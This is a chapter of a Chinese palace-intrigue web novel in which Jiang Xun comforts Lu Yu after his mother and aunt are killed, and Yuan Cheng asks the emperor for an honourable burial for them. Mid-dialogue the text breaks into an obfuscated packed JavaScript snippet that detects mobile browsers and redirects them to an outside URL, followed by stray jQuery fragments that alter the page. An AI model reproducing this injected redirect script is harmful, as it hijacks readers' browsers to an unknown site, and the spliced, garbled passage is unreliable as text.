三月十九，连下两日的雨终于停歇，厚云虽未全散，但因落雨积下的寒意总算被时不时出来露个面的日头驱走了少许。


    安平书局后院，连着几日没灭的炭盆终于得以休憩，姜珣拢着薄毯歪在连椅上，手里捏着只雕着十二佛像的莲花纹白玉盏把/玩，时不时抬头往对面瞧上一眼。


    又一炷香的时候过去，姜珣终于忍不住了，自手边拿起个橘子扔过去：“大早上来搅我安睡，来了又不言语，陆常易，你入定呢。”


    正出神的陆羽本能地接住砸过来的东西，见是个橘子，顺手撂在一边，抬眼看向姜珣，半晌方轻声开口：“我娘和姨母……没了。”


    姜珣闻言猛地坐起身：“谁动的手？别院出事了？我竟一点消息都没听见。”


    “嫂嫂不叫声张，”陆羽握拳掩去手指的轻颤，“尚不知谁动的手。”


    “你这神色，是早有猜测了，”姜珣起身，弯腰自一边的箱笼里拎出个泥封的小坛搁去陆羽手边，叹道，“节哀这种话不过给你添堵，就不说了，若实在过不去，喝几口压一压，聊胜于无罢。”


    “多谢，但不必了，”陆羽将酒坛推远了些，“大仇未报，还是清醒些好，嫂嫂随时会有差遣。”


    姜珣这人一贯没什么正形，若叫他说不正经的玩笑话，他能说上一日不停，但宽慰人的话，他是一句也说不出。


    再加上一个闷葫芦陆羽，这屋里静得只剩风卷过窗棂的咯吱声。


    他与陆羽相识，说起来也是无巧不成书。


    六年前，他听闻有个颇具盛名的画匠游历到洪辽北边，又正好为了躲他父皇给他说亲，便找姜瑾给他弄了一份能糊弄边关守备的路引公文，乔装改扮，跟着一队游商自泓都一路跑到洪辽北境晏城，好歹叫他追上了那画匠，到底求来他一幅画。


    那画匠眼高于顶，不好金银，也不太爱搭理人，听闻姜珣愿以大煜名家墨宝交换才勉强答应，自背上竹篓里摸出一个卷轴递给姜珣，接过他给的墨宝便行色匆匆地走了。


    待他走远，姜珣才想起打开卷轴瞧一眼。


    画是好画，落笔也考究老成，就是画的是巍然矗立在翠竹密林里的……一口缸。


    姜珣觉得自己叫人诓了，心下不快，又想着好不容易到洪辽来一趟，想过几日再启程回大煜，便脱开游商的队伍，在晏城周边闲逛。


    在一家酒很难喝的酒肆里歇脚时，他偶然听见隔壁桌的几句低语，说什么若得不着一味药，人就难救云云。


    好巧不巧，他们说的那味草药，虽只长在大煜，但稍富贵些的人家都用得起，正是他随身带着不时扔进药罐子里煮了当熏香的那味。


    姜珣顺着他们的目光看过去，这才见稍远些的地方停着一辆太平车，那人侧躺在上边，上半身未着衣物，不知刀伤还是剑伤的一道自前胸穿到背后，长寸余，皮肉外翻，虽不见流血，但伤处已有轻微溃烂。


    那人双眼紧闭，吐息微弱，瞧样貌，不过一个十六七岁的少年。


    心想着救人一命行善积德，姜珣便将手里所有的药材全给了他们，那些人连连谢过，执意要知晓他的姓名以便日后相酬，到底是在洪辽地界，姜珣不好如实相告，只随口报了个化名，说自己是大煜泓都城一家书局的掌柜。


    他当时只是有这个念头，信口胡诌，自己都没料到后来真在泓都开了家安平书局，还顺手接管了大煜暗探的麻烦事。


    那太平车上的少年，正是陆羽。


    他记性不大好，早将这事忘在了脑后，不想两年前，陆羽竟独自找到了书局，入内见着他，二话没说，跪下便磕头，还连磕四下。


    大煜风俗，死人才受四拜。


    姜珣那时正坐在书案后算账，躲闪不及，生生受了这四下，一头雾水地将人拉起来，费了好大的劲儿才认出他是谁。


    陆羽当时昏迷，并未见过他，问过才知，当初只在晏城一见，那些人竟画了他的画像交给陆羽，叫他日后寻到恩人报恩。


    姜珣是个富贵闲人，不缺衣不少食，没什么需要陆羽给的，便让他留一副字，但陆羽那手字实在……


    姜珣自觉与陆羽有些投缘，留他住了两日，临走时陆羽将颈上挂着的一只成色不怎么好、尾巴上还有缺口的玉琥摘下来交给他，说若日后姜珣有事，可用这玉琥为信物交换，他定舍命相帮。


    先前林融霜到临邺，再之后他过来准备接应孟冬辞，皆是受陆羽和他身后那些高手的保护。


    陆羽知道他的身份，也知他掌控着大煜暗探，他到临邺后，陆羽暗中帮他处理过一些在书局周边探头探脑的钉子，有时也会翻墙到他这儿来坐坐。


    这人话不多，但姜珣惯会没话找话，也算东拼西凑地问出了他的身世，这才知道，他竟是孟冬辞嫁的那洪辽皇子的义弟，当时去新崖接孟冬辞的，正是他的娘亲和姨母。


    且孟冬辞能安然无恙从新崖到临邺，正是他和他身后那些不知姓名的高手一路相护。


    姜珣知道他的母亲和姨母于他而言意味着什么，想着好歹是朋友，什么话都没有太不像话，便说：“常易，若有什么我能帮上忙的，不必客气，尽管开口。”


    “我过来并非求你帮忙，只是暂时没处可去，到你这儿落个脚，”陆羽摇头，说，“我要隐在暗处，不敢到别院去，更不能去送阿娘和姨母。”


    姜珣问他：“何时下葬？远远瞧一眼也不成么？”


    “嫂嫂说，今日兄长会入宫向那老皇帝求一道旨意，以五品命妇规制为阿娘和姨母下葬，若老皇帝准允，大抵就是这一两日了。”


    “可若不去，此事得困你一辈子，”姜珣垂眸想了想，“若那元珵能办成此事，我想法子让你去给她们磕个头。”


    陆羽本能地点点头，又默了少顷方说：“要于嫂嫂的筹划无碍。”


    姜珣应声，忽地反应过来陆羽一口一个的‘嫂嫂’，是自小与他一块儿长大的孟冬辞。只是这称呼……与孟冬辞的模样实在对不到一起去。


    正巧姜珣觉得此事说多了他心里难受，便岔开话头，问：“你似乎很愿意听孟桉的话？”


    陆羽答：“嫂嫂是个好人。”


    姜珣跟着又问：“那你觉得孟桉身边那小丫头如何？”


    陆羽怔了一下方明白他问的是谁，心里清楚姜珣是有意消解他的沉郁，便也顺势答：“身手不错。”


    姜珣：“……别的呢？”


    陆羽不言语了。


    姜珣悻悻叹了声气，忽然反应过来：“等等，方才你说什么？孟桉让那元珵今日入宫？”


    陆羽点头。


    “……”姜珣蓦地笑了一声。


    前日孟冬辞叫林融霜送来的那封信，将她后边的筹划写得清楚，哪里她一人可以，哪里需要他与周池带人相助，从需要的人到每件事的时日时辰，事无巨细列得清清楚楚，环环相扣，牵一发而动全身。


    当时姜珣还为此叹了一句，这样的一个人，若不是自小相识、立身清正，哪怕生出一点点反心，于大煜都是一记无处可躲的重拳。


    可她叫元珵今日入宫，分明是去挑衅皇帝，是主动拨乱了自己的棋盘，如此，她的下一子便不是大局在握。姜珣因而自言自语地笑笑：“孟桉啊孟桉，原来你也会感情用事。”


    陆羽听闻，立刻追问：“是嫂嫂和兄长有危险么？”


    “别多想，”姜珣摇头，“孟桉不会做毫无把握的事。”


    说罢，又问：“说起来，我见过你兄长元珵一次，他如此沉不住气的一个人，竟没将此事闹大？”


    陆羽：“兄长性子虽不太稳重，但很听嫂嫂的话。”


    “真是一物降一物，”姜珣闻言失笑，又问，“常易，至今为止，你还不知道宫里谁是你们的内应么？”


    陆羽摇头：“内应不止一个，最能说得上话的是谁我确实不知，但前日死的那个，倒是在上元饮宴，嫂嫂设局让兄长入工部时，出宫与我递过消息。”


    姜珣知他说的是谁。


    “他甘愿受凌迟大刑，”陆羽接着说，“定然是为真正的幕后之人顶罪，而幕后那人既能拿到老皇帝的丸药，又能暗中替换他送进兄长别院的姬妾，想来定然是老皇帝身边亲近、能信得过的人。”


    ＊


    “寿公公，”元珵垂眸看向弯腰朝他行礼的人，轻声开口，“不必多礼。”


    寿庐听见了这话，却仍恭恭敬敬地行完了礼方直起身，面色无异地堆着笑在前头给元珵引路，好似早已忘了那日偷偷给他塞丹药之事。


    握紧手里的锦盒，元珵抬头看了一眼前头的路，问寿庐：“今日休沐，怎么往朝奉殿走？这个时辰，父皇不应该在舆圣殿后头歇着么？”


    寿庐慢下脚步与元珵并肩，答：“舆圣殿昨夜见了血，陛下闻见血腥味儿头疼，这会儿正刷洗熏香，正巧御史台邱大人求见，便挪到朝奉殿去见了。”


    “见了血？”孟冬辞与他说过寿庐可疑，要他入宫时格外注意寿庐的一举一动，元珵听出这句是寿庐刻意说的，便问，“舆圣殿怎会见血？是哪个不长眼的办事不利被我父皇处死了么？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395484|177700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “七殿下聪慧，”寿庐笑答，“按说这话老奴不该多嘴，但七殿下最得陛下心意，老奴便少一句顾虑，殿下听过就忘，莫要叫陛下知道。


    “陛下身边除了明面上的侍卫，还有些隐在暗处的高手，老奴前段时间依稀听着陛下要他们去杀什么人，”寿庐说，“但不知怎么，昨夜其中的一个过来复命，竟在殿内引颈自刎了。”


    元珵立刻问：“什么时候？要杀谁？”


    寿庐连连摆手：“老奴只是个内侍，不过偶然听见，后头的事，便都不知道了。”


    说话间已到朝奉殿外，寿庐入内通禀，元珵候在殿外，抬眼看向朝奉殿雕着繁复花纹的垂脊和重檐。


    石刻的飞龙凶相毕露，伸出的利爪无形之中掐住了他的喉咙。


    今晨出门前孟冬辞的话犹在耳畔。


    她说：“元和安，这场戏演得好不好，关乎你我的性命和后面所有的布局，无论皇帝如何，你都要沉住气。”


    元珵将手中锦盒自左手换到右手，垂下手臂以衣袖遮住掌心被锦盒棱角硌出的红痕，深深喘了口气。


    朝奉殿内，皇帝高坐龙椅之上，邱兆揾立在下边，见元珵进殿，笑着朝他行礼。元珵朝他点了一下头，将锦盒交给寿庐，掀起衣摆跪下，恭恭敬敬地叩首：“父皇，瞿婉在别院听闻瞿众自尽消息后吓破了胆，向儿子献上藏于她发冠内的一样东西，儿子问过才知，瞿众匯泞养了一城的私兵，这东西竟是瞿众控制私兵的兵符。”


    寿庐将锦盒打开递到元戎面前，元戎捻出那形状奇怪的‘兵符’，淡淡看了一眼便搁下，将目光投向锦盒内的另一物。


    元珵见状解释道：“儿子前日病了一场，迷迷糊糊地想起了余下的炼金术，但醒来忽闻自小照料儿子的两个仆妇横遭杀身之祸，悲恸之下忘了一些，这才只送来这一点，请父皇恕罪。”


    “和安起身罢，”元戎示意寿庐将锦盒收起，“昨日，你三哥出宫去见你，回来已与朕说过此事，可查到是谁竟对你身边人动手了么？”


    “还在追查，”元珵并未起身，而是再叩首，道，“儿子入宫，一是送兵符和炼金术，二，是想与父皇求一道恩旨。”


    元戎眯了眯眼。


    元珵：“自儿子搬到别院，这两个仆妇为儿子打理衣食起居，尽心非常，当年儿子不懂事私出别院跑去大煜，父皇担忧儿子，惩戒了儿子别院下人，她们因出院采买得父皇网开一面，如今儿子斗胆再求父皇，请父皇着人为儿子追查此事，另准允儿子以五品命妇规制，为她二人下葬。”


    元戎将目光投向锦盒内的那张纸，未置可否。殿内一时静得骇人，倒是邱兆揾先开口：“两个仆妇，就算得七殿下青眼，以九品规制下葬已是逾矩，五品，那可赶上咱们洪辽朝奉大夫妻母的品阶了。”


    元珵知道孟冬辞的下一步便是要收拾邱兆揾和元轲，且邱兆揾这话分明是见大权未定，想尽早与他这个麻烦皇子划清界限。


    而邱兆揾背后是他那嫡出的大哥，自上元宴设局开始，邱兆揾的言行举动，无不承着元轲的意思。


    孟冬辞说得没错，皇家亲缘，生来单薄。元棣瞿众一倒，他会立刻变成他大哥的眼中钉。


    元珵听着邱兆揾话里的阴阳怪气，眸色暗了一暗。


    狡兔已死，可他并不是走狗。


    见元戎仍未表态，元珵便直起身子，淡淡地朝邱兆揾的方向瞥了一眼，不轻不重地笑了一声：“父皇还没说什么，邱大人便要替父皇做主了么？看来瞿众一死，这满朝上下，就属邱大人势盛了。”


    这话里是十成十的挑唆，但邱兆揾侍君多年，知道这话定然说进了皇帝耳朵里，因而咚的一声跪下：“老臣失言，请陛下恕罪！”


    元戎没理邱兆揾，倒是挥手令内侍上前扶起了元珵，说：“这二人照料和安有功，和安心善，不算逾矩，但莫要铺张太过。”


    元戎话音方落，元珵还未来得及谢恩，外头便有小内侍通禀：“陛下，正月里失踪的赵大人找着了，有事要诉。”


    邱兆揾闻言腾地一下站起来，回身问：“哪个赵大人？”


    问完才想起皇帝并没让他起来，连忙跪了回去。


    “赵千石赵大人。”


    元戎瞥了邱兆揾一眼方说：“何事？让他进来。”


    “赵大人身携诉状血书，状告大殿下与邱大人对他动用私刑屈打成招，”小内侍顿了一下才又说，“禀陛下，进不来了。


    “赵大人身上被割了不知多少刀，这会儿已经断气了。”